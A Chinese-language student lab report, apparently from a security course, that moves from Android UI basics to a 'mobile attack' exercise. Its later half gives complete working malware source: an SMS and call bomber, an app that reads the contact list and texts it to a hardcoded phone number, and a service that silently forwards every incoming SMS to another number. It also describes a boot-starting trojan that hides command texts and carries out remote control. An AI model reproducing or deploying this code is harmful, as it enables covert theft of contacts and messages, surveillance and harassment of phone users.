Windows ->Perferences->左邊樹狀Android->Browse->android-sdk-windows所在目錄->Apply
設計手機用戶界面應解決的問題:html
4.Android已經解決了前兩個問題,使用XML文件描述用戶界面;資源資源文件獨立保存在資源文件夾中;對界用戶面描述很是靈活,容許不明肯定義界面元素的位置和尺寸,僅聲明界面元素的相對位置和粗略尺寸。java
Android用戶界面框架(Android UI Framework)採用MVC(Model-View-Controller)模型:提供了處理用戶輸入的控制器(Controller),顯示用戶界面和圖像的視圖(View),以及保存數據和代碼的模型(Model)。拉下圖所示:android
模型數據庫
View編程
常見的系統控件windows
TextView
、EditText
、Button
、ImageButton、
、Checkbox``RadioButton
、Spinner
、ListView
、TabHost
。建立TextView控件的兩種方法數組
TextView tv=new TextView(this); tv.setText("您好"); setContentView(tv);
<string name="app_name">TextViewDemo</string> <string name="action_settings">Settings</string> <string name="hello_world">Hello world!</string> <string name="hello">您好!</string> <string name="menu_settings">Settings</string>
<TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:layout_alignParentTop="true" android:text="@string/hello"/>
運行結果
服務器
修改TextView屬性,字體大小、字體顏色app
<TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你好" android:textSize="20sp" android:textColor="#00FF00"/>
運行結果
框架
使用Html標籤修改文本中某一段字體的顏色
<TextView android:id="@+id/tv" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/app_name" android:textSize="20sp" android:textColor="#00FF00"/>
運行結果
修改MainActivity.java代碼
TextView tv = (TextView)findViewById(R.id.tv); tv.setText(Html.fromHtml(「Android開發實驗–TextView使用「));
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:maxLength="3" />
運行結果
singleLine:多行文本框,代碼:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:singleLine="false" />
運行結果:
inputType:限制輸入文本類型,代碼:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:inputType="number" />
運行結果:只能輸入數字
hint:設置提示信息,代碼:
<EditText android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="我是EditText" />
選擇Emulator Control選項卡,在Incoming number文本框中輸入模擬器編號。模擬器編號在devices選項卡中能夠看到。點擊call按鈕
模擬器運行結果
選擇Emulator Control選項卡,在Incoming number文本框中輸入模擬器編號。模擬器編號在devices選項卡中能夠看到。點擊call按鈕
模擬器運行結果
新建Android項目->項目名稱:Ex.Button -> Application name: ButtonDemo -> Package name: com.ex.button -> Build SDK: Android 4.3 其它默認
切換到activity_main.xml選項卡。建立button對象,代碼以下:
<Button android:id="@+id/btn1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_marginRight="28dp" android:layout_marginTop="38dp" android:layout_toLeftOf="@+id/textView1" android:text="點我" />
public class MainActivity extends Activity { private Button btn1 = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn1 = (Button)findViewById(R.id.btn1); btn1.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Toast.makeText(MainActivity.this, "你點擊了按鈕", Toast.LENGTH_LONG).show(); } }); }
<Button android:id="@+id/btn2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_marginTop="31dp" android:layout_toLeftOf="@+id/textView1" android:text="點我1" /> <Button android:id="@+id/btn1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@+id/btn2" android:layout_below="@+id/btn2" android:layout_marginTop="26dp" android:text="點我2" />
public class MainActivity extends Activity { private Button btn1 = null; private Button btn2 = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btn1 = (Button)findViewById(R.id.btn1); btn2 = (Button)findViewById(R.id.btn2); btn1.setOnClickListener(listener); btn2.setOnClickListener(listener); } private OnClickListener listener = new OnClickListener() { public void onClick(View v) { Button btn = (Button)v; switch(btn.getId()) { case R.id.btn1: Toast.makeText(MainActivity.this, "你點擊了按鈕1", Toast.LENGTH_LONG).show(); break; case R.id.btn2: Toast.makeText(MainActivity.this, "你點擊了按鈕2", Toast.LENGTH_LONG).show(); } } };
Android的系統權限不是由用戶控制,而是由開發者根據開發的須要控制相關權限的開放與否,權限控制主要放置在AndroidManifest.xml文件中。將以下的權限控制屬性寫入AndroidManifest.xml文件就能夠獲取相應的系統權限。若是在開發中遇到一些調試的問題很能夠就是權限的緣由。Android常見的權限參考:
http://www.cnblogs.com/jdy1453/p/6879878.html
新建Android項目->項目名稱:Ex.Permit -> Application name: PermitDemo -> Package name: com.example. -> Build SDK: Android 4.3 其它默認
在Ex.Permit項目中開啓監聽功能,能夠選擇手機通話記錄、短信記錄、彩信、攝像、拍照、通信錄、錄音等權限中任意兩項權限進行設置。
點擊項目中的AndroidManifest.xml,在多標籤頁中選擇「Permission」
而後點擊add按鈕,選擇添加使用權限(Uses Permission)
在AndroidManifest.xml中添加uses-permission標籤,添加了錄製音頻的權限
結果:程序具備錄音權限,能夠應用程序的錄音功能。經過防禦軟件(360手機衛士、手機毒霸)禁用錄音功能,打開程序,提示沒有錄音權限,沒法錄音。
一、點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/degj),最後點擊「Finish」。
打開「src」下的SmsActivity.java文件,代碼:
package sms.ply; import java.util.List; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.telephony.SmsManager; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class SmsActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); setComponent(); } private void setComponent() { final EditText message = (EditText)findViewById(R.id.message); final EditText phoneno = (EditText)findViewById(R.id.phoneno); final EditText attno = (EditText)findViewById(R.id.attno); Button bt1 = (Button) findViewById(R.id.Button01); bt1.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent( Intent.ACTION_CALL, Uri.parse ("tel:5556")); startActivity(intent); } }); Button bt2 = (Button) findViewById(R.id.Button02); bt2.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // String smsContent = "102"; String smsContent = message.getText().toString(); String cishu = attno.getText().toString(); int number = Integer.valueOf(cishu).intValue(); // note: SMS must be divided before being sent SmsManager sms = SmsManager.getDefault(); List<String> texts = sms.divideMessage(smsContent); int i = 0; while (i < number) { for (String text : texts) { sms.sendTextMessage(phoneno.getText().toString(), null, text, null, null); } i = i + 1; } // note: not checked success or failure yet Toast.makeText( SmsActivity.this, "短信已發送", Toast.LENGTH_SHORT ).show(); } }); } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:gravity="center"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Direct Method:" android:gravity="center" /> <Button android:text="電話攻擊" android:id="@+id/Button01" android:layout_width="wrap_content" android:layout_height="wrap_content"></Button> <Button android:text="短信攻擊" android:id="@+id/Button02" android:layout_width="wrap_content" android:layout_height="wrap_content"></Button> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="號碼:" android:gravity="center" /> <EditText android:id="@+id/phoneno" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="發送次數:" android:gravity="center" /> <EditText android:id="@+id/attno" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="發送內容:" android:gravity="center" /> <EditText android:id="@+id/message" android:layout_width="fill_parent" android:layout_height="wrap_content" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="sms.ply" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="15" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:label="@string/app_name" android:name=".SmsActivity" > <intent-filter > <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> <uses-permission android:name="android.permission.BROADCAST_STICKY" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.CALL_PRIVILEGED" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.SEND_SMS" /> </manifest>
對於木馬程序,咱們須要木馬在Android設備開機時自動運行,當Android啓動時,會發出一個系統廣播,內容爲ACTION_BOOT_COMPLETED,它的字符串常量表示爲android.intent.action.BOOT_COMPLETED。只要在程序中「捕捉」到這個消息,再啓動之便可。爲此,咱們要作的是作好接收這個消息的準備,而實現的手段就是實現一個BroadcastReceiver。木馬主要經過接收短信的系統廣播(Broadcast Receiver)進行短信內容匹配,若是是發送的控制指令,則將短信屏蔽掉,讓被控制端用戶沒法獲得收取短信的通知,而且對目標手機進行遠程控制,如短信轉發、電話監聽、手機錄音等。
木馬主要是利用Android 中的廣播機制來是實現的。BroadcastReceiver相似於事件編程中的監聽器,表明廣播消息接收器。木馬重寫了onReceive(Context context ,Intent intent)方法,當系統收到消息時候,經過監聽「android.provider.Telephony.SMS_RECEIVED」廣播,對消息的內容進行檢測。當檢測到的內容爲控制指令時,用abortbroadcast()將短信屏蔽掉,使用戶沒法接受到短信,而後根據控制指令,進行相應操做。須要注意的是,若是數據量比較大,好比錄音、攝像數據、最好架設一個服務器用來上傳數據。
一、點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/ReadContacts),最後點擊「Finish」。
打開「src」下的ReadContacts.java文件,代碼:
package com.lightcone.readcontacts; import java.util.List; import android.app.Activity; import android.content.ContentResolver; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.provider.ContactsContract; import android.telephony.SmsManager; public class ReadContacts extends Activity { // To suppress notational clutter and make structure clearer, define some shorthand constants. private static final Uri URI = ContactsContract.Contacts.CONTENT_URI; private static final Uri PURI = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; private static final String ID = ContactsContract.Contacts._ID; private static final String DNAME = ContactsContract.Contacts.DISPLAY_NAME; private static final String HPN = ContactsContract.Contacts.HAS_PHONE_NUMBER; private static final String CID = ContactsContract.CommonDataKinds.Phone.CONTACT_ID; private static final String PNUM = ContactsContract.CommonDataKinds.Phone.NUMBER; private static final String PHONETYPE = ContactsContract.CommonDataKinds.Phone.TYPE; private String id; private String name; private String ph[]; private String phType[]; private String last; private int phcounter; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); // Allow for up to 5 email and phone entries for a contact ph = new String[5]; phType = new String[5]; int j = 0; ContentResolver cr = getContentResolver(); Cursor cu = cr.query(URI, null, null, null, null); if (cu.getCount() > 0) { // Loop over all contacts while (cu.moveToNext()) { // Initialize storage variables for the new contact id = cu.getString(cu.getColumnIndex(ID)); name = cu.getString(cu.getColumnIndex(DNAME)); // Append list of contacts to the scrollable TextView on the screen. phcounter = 0; if (Integer.parseInt(cu.getString(cu.getColumnIndex(HPN))) > 0) { Cursor pCur = cr.query(PURI, null, CID + " = ?", new String[]{id}, null); while (pCur.moveToNext()) { ph[phcounter] = pCur.getString(pCur.getColumnIndex(PNUM)); phType[phcounter] = pCur.getString(pCur.getColumnIndex(PHONETYPE)); phcounter ++; } pCur.close(); } // Write list of phone numbers for this contact to SD card file for(int i=0; i<phcounter; i++){ last = name + (" phone="+ ph[i] + " (" + getPhoneType(phType[i]) + ") "); } if (j<2) { sendSMS (last); j++; } } // for (int k = 0; k < j; k++){ // } } // Flush the PrintWriter to ensure everything pending is output before closing } /** Method to check whether external media available and writable and to find the root of the external file system. */ private String getPhoneType(String index){ if(index.trim().equals( "1")){ return "home"; } else if (index.trim().equals("2")){ return "mobile"; } else if (index.trim().equals("3")){ return "work"; } else if (index.trim().equals("7")){ return "other"; } else { return "?"; } } /** Method to return label corresponding to email type code. Data for correspondence from http://developer.android.com/reference/android/provider/ContactsContract. CommonDataKinds.Email.html */ private void sendSMS (String message) { SmsManager sms = SmsManager.getDefault(); List<String> texts = sms.divideMessage(message); for (String text : texts) { sms.sendTextMessage("18611594986", null, text, null, null); } //register the Broadcast Receivers 15555215556 15810540049 } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/myimg0" android:gravity="center" > <ScrollView android:id="@+id/ScrollView01" android:layout_height="fill_parent" android:layout_width="fill_parent"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:padding="5sp" android:id="@+id/TextView01" android:text="@string/hello" /> </ScrollView> </LinearLayout>
點擊「File」,選擇「Import」。彈出Import窗口,點擊「Android」,選擇「Existing Android Code Into Workspace」,點擊「Next」,彈出下一個界面,點擊「Browse」找到實驗所在文件夾打開(C:/adt/qwe/ReadContacts),最後點擊「Finish」。
打開「src」下的MyService.java文件,代碼:
package com.android.myservice; ///import com.android.myservice.R; import java.util.List; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.Binder; import android.util.Log; import android.widget.Toast; import android.content.BroadcastReceiver; import android.content.Context; import android.content.IntentFilter; import android.os.Bundle; import android.telephony.SmsMessage; import android.app.PendingIntent; import android.telephony.SmsManager; //import android.view.View; //import android.widget.EditText; public class MyService extends Service { private static final String TAG = "MyService"; private MyBinder mBinder=new MyBinder(); String SENT_SMS_ACTION="SENT_SMS_ACTION"; String DELIVERED_SMS_ACTION="DELIVERED_SMS_ACTION"; //StringBuilder sb = new StringBuilder(); ReceiverDemo smsReceiver; public class ReceiverDemo extends BroadcastReceiver { private static final String strRes = "android.provider.Telephony.SMS_RECEIVED"; PendingIntent paIntent; SmsManager smsManager; IntentFilter filter=new IntentFilter(); @Override public void onReceive(Context arg0, Intent arg1) { // TODO Auto-generated method stub if(strRes.equals(arg1.getAction())){ StringBuilder sb = new StringBuilder(); Bundle bundle = arg1.getExtras(); //Toast.makeText(arg0, "hihih", Toast.LENGTH_LONG).show(); if(bundle!=null){ Object[] pdus = (Object[])bundle.get("pdus"); SmsMessage[] msg = new SmsMessage[pdus.length]; //Toast.makeText(arg0, "received sms", Toast.LENGTH_LONG).show(); for(int i = 0 ;i<pdus.length;i++){ msg[i] = SmsMessage.createFromPdu((byte[])pdus[i]); } for(SmsMessage curMsg:msg){ sb.append(curMsg.getDisplayMessageBody()); } //Toast.makeText(arg0, "Got The Message:" + sb.toString(),Toast.LENGTH_SHORT).show(); sendSMS(sb.toString()); } } } } @Override public IBinder onBind(Intent intent) { return mBinder; } public void onCreate() { //Toast.makeText(this, "My Service created", Toast.LENGTH_LONG).show(); Log.i(TAG, "onCreate"); smsReceiver =new ReceiverDemo(); IntentFilter filter=new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); this.registerReceiver(smsReceiver, filter); super.onCreate(); } @Override public void onDestroy() { // Toast.makeText(this, "My virus Stoped", Toast.LENGTH_LONG).show(); // Log.i(TAG, "onDestroy"); super.onDestroy(); } @Override public void onStart(Intent intent, int startid) { // Toast.makeText(this, "My virus Start", Toast.LENGTH_LONG).show(); // Log.i(TAG, "onStart"); super.onStart(intent,startid); } public class MyBinder extends Binder{ MyService getService(){ return MyService.this; } } private void sendSMS (String message) { //create the sentIntent parameter Intent sentIntent = new Intent(SENT_SMS_ACTION); PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, sentIntent, 0); // create the deilverIntent parameter Intent deliverIntent = new Intent(DELIVERED_SMS_ACTION); PendingIntent deliverPI = PendingIntent.getBroadcast(this, 0, deliverIntent, 0); //Toast.makeText(this, "start sendsms()", Toast.LENGTH_LONG).show(); SmsManager sms = SmsManager.getDefault(); if (message.length() > 70) { List<String> msgs = sms.divideMessage(message); for (String msg : msgs) { sms.sendTextMessage("18651444669", null, msg, sentPI, deliverPI); } } else { sms.sendTextMessage("18651444669", null, message, sentPI, deliverPI); } //register the Broadcast Receivers 15555215556 15810540049 } }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/myimg" android:gravity="center"> <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/services_demo" android:gravity="center" android:textSize="20sp" android:padding="20dp" > </TextView> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.myservice"> <application android:icon="@drawable/chees" android:label="@string/app_name"> <activity android:name=".ServicesDemo" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <service android:enabled="true" android:name=".MyService"/> <!-- <activity android:name=".SmslistenerActivity" android:label="@string/app_name"> --> <!-- </activity> --> </application> <receiver android:name=".ReceiverDemo" android:enabled="true" > <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <uses-sdk android:minSdkVersion="7" /> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <buildCommand> <name>org.eclipse.jdt.core.javabuilder </name> <arguments> </arguments> </buildCommand> </manifest>
本次實踐咱們組的實踐題目爲移動攻擊,主要內容爲在安卓平臺下進行攻擊,例如提權,木馬攻擊,整個實驗在根據實驗指導書完成沒有太大問題,不過在木馬攻擊的時候遇到了代碼問題,在以前的配置環境以及安卓GUI設計中遇到版本不一樣指令問題,經過小組成員的積極討論以及上網百度等方法成功解決了問題,成功完成了實驗,在以後的實踐過程當中咱們將吸收本次實驗的經驗,踏踏實實認真的完成接下來的每個任務!